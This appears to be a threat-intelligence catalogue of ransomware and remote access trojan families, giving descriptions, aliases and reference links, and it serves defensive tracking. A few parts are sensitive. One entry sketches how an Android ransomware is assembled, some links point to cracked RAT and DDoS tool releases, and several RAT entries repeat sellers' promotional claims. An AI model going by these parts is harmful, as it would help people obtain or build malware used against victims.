A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.
Links |
Bad Rabbit
On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.
Bad Rabbit is also known as:
-
BadRabbit
-
Bad-Rabbit
Links |
Halloware
A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.
Links |
StorageCrypt
Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User’s have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.
Links |
HC7
A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.
Links |
HC6
Predecessor of HC7
Links |
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw |
qkG
Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.
Links |
Scarab
The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file’s name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.
File Spider
A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.
Links |
FileCoder
A barely functional piece of macOS ransomware, written in Swift.
FileCoder is also known as:
-
FindZip
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Patcher
Links |
MacRansom
A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.
Links |
GandCrab
A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.
Links |
ShurL0ckr
Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr’s operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.
Links |
Cryakl
ransomware
Thanatos
first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)
Links |
https://mobile.twitter.com/EclecticIQ/status/968478323889332226 |
RSAUtil
RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.
RSAUtil is also known as:
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Vagger
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DONTSLIP
Links |
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks |
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html |
Qwerty Ransomware
A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim’s files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file’s name.
Links |
Zenis Ransomware
A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.
Links |
Flotera Ransomware
Links |
Black Ruby
A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine’s maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
WhiteRose
A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.
Links |
PUBG Ransomware
In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user’s files and folders on the user’s desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.
Links |
LockCrypt
LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.
Links |
https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/ |
https://twitter.com/malwrhunterteam/status/1034436350748053504 |
Magniber Ransomware
Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.
Links |
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/ |
Vurten
Links |
Reveton ransomware
A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.
Links |
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/ |
Fusob
Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.
Links |
OXAR
Links |
SkyFile
Links |
https://twitter.com/malwrhunterteam/status/982229994364547073 |
MC Ransomware
Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"
Links |
CSGO Ransomware
Supposed joke ransomware, decrypt when running an exectable with the string "csgo"
Links |
XiaoBa ransomware
Links |
https://twitter.com/malwrhunterteam/status/923847744137154560 |
https://twitter.com/malwrhunterteam/status/1004048636530094081 |
NMCRYPT Ransomware
The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.
Links |
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/ |
Iron
It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)
Links |
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html |
Tron ransomware
Links |
https://twitter.com/malwrhunterteam/status/985152346773696512 |
Unnamed ramsomware 1
A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.
Links |
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/ |
HPE iLO 4 Ransomware
Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.
Links |
https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/ |
Sigrun Ransomware
When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.
Links |
CryBrazil
Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?
Links |
https://twitter.com/malwrhunterteam/status/1002953824590614528 |
Pedcont
new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.
DiskDoctor
new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT
DiskDoctor is also known as:
-
Scarab-DiskDoctor
Links |
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html |
RedEye
Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.
Links |
https://twitter.com/JakubKroustek/status/1004463935905509376 |
https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html |
Aurora Ransomware
Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.
Links |
https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm |
PGPSnippet Ransomware
Links |
Spartacus Ransomware
Links |
Donut
S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.
Links |
Paradise Ransomware
MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.
Links |
https://twitter.com/malwrhunterteam/status/1005420103415017472 |
https://twitter.com/malwrhunterteam/status/993499349199056897 |
B2DR Ransomware
uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt
Links |
YYTO Ransomware
uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt
Links |
Unnamed ramsomware 2
Links |
Everbe Ransomware
Links |
https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/ |
DirCrypt
Links |
DBGer Ransomware
The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware’s modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan’s modus operandi.
Links |
RASTAKHIZ
Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
TYRANT
DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.
TYRANT is also known as:
-
Crypto Tyrant
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
WannaSmile
zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
Unnamed Android Ransomware
Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
KEYPASS
A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.
KEYPASS is also known as:
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KeyPass
Links |
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/ |
Barack Obama’s Everlasting Blue Blackmail Virus Ransomware
A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.
Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:
-
Barack Obama’s Blackmail Virus Ransomware
Links |
https://twitter.com/malwrhunterteam/status/1032242391665790981 |
CryptoNar
When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.
Links |
https://twitter.com/malwrhunterteam/status/1034492151541977088 |
CreamPie Ransomware
Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.
Links |
https://twitter.com/JakubKroustek/status/1033656080839139333 |
Jeff the Ransomware
Looks to be in-development as it does not encrypt.
Links |
Cassetto Ransomware
Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.
Links |
Acroware Cryptolocker Ransomware
Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.
Acroware Cryptolocker Ransomware is also known as:
-
Acroware Screenlocker
Links |
Termite Ransomware
Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.
Links |
PICO Ransomware
S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.
PICO Ransomware is also known as:
-
Pico Ransomware
Links |
Sigma Ransomware
Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.
Links |
Mongo Lock
An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.
Links |
Kraken Cryptor Ransomware
The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.
Links |
RAT
remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..
RAT is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various - raw-data
TeamViewer
TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.
Links |
JadeRAT
JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.
Links |
Back Orifice
Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.
Back Orifice is also known as:
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BO
Links |
Netbus
NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.
Netbus is also known as:
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NetBus
Links |
PoisonIvy
Poison Ivy is a RAT which was freely available and first released in 2005.
PoisonIvy is also known as:
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Poison Ivy
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Backdoor.Win32.PoisonIvy
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Gen:Trojan.Heur.PT
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml |
Sub7
Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.
Sub7 is also known as:
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SubSeven
-
Sub7Server
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99 |
Beast Trojan
Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.
Links |
Bifrost
Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).
Links |
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic |
Blackshades
Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.
Links |
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/ |
DarkComet
DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.
DarkComet is also known as:
-
Dark Comet
Links |
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/ |
Lanfiltrator
Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99 |
Win32.HsIdir
Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.
Links |
Optix Pro
Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99 |
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208 |
Back Orifice 2000
Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker’s remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.
Back Orifice 2000 is also known as:
-
BO2k
Links |
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229 |
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99 |
RealVNC
The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another
RealVNC is also known as:
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VNC Connect
-
VNC Viewer
Links |
Adwind RAT
Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.
Adwind RAT is also known as:
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UNRECOM
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UNiversal REmote COntrol Multi-Platform
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Frutas
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AlienSpy
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Unrecom
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Jsocket
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JBifrost
Albertino Advanced RAT
Links |
Arcom
The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.
Blue Banana
Blue Banana is a RAT (Remote Administration Tool) created purely in Java
Links |
Bozok
Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.
Links |
ClientMesh
ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.
Links |
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/ |
CyberGate
CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.
Links |
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html |
Dark DDoSeR
Links |
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html |
DarkRat
In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.
DarkRat is also known as:
-
DarkRAT
Links |
Greame
Links |
https://sites.google.com/site/greymecompany/greame-rat-project |
HawkEye
HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.
Links |
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html |
jRAT
jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.
jRAT is also known as:
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JacksBot
Links |
LuxNET
Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.
Links |
NJRat
NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.
NJRat is also known as:
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Njw0rm
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat |
Pandora
Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.
Links |
Predator Pain
Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.
Predator Pain is also known as:
-
PredatorPain
Links |
SpyGate
This is tool that allow you to control your computer form anywhere in world with full support to unicode language.
Links |
https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950 |
Xena
Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.
Links |
XtremeRAT
This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.
Links |
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html |
Netwire
NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.
Links |
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data |
Gh0st RAT
Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .
Links |
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/ |
Plasma RAT
Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.
Links |
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/ |
Babylon
Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)
Links |
DroidJack
DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.
Links |
Quasar RAT
Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface
Links |
Dendroid
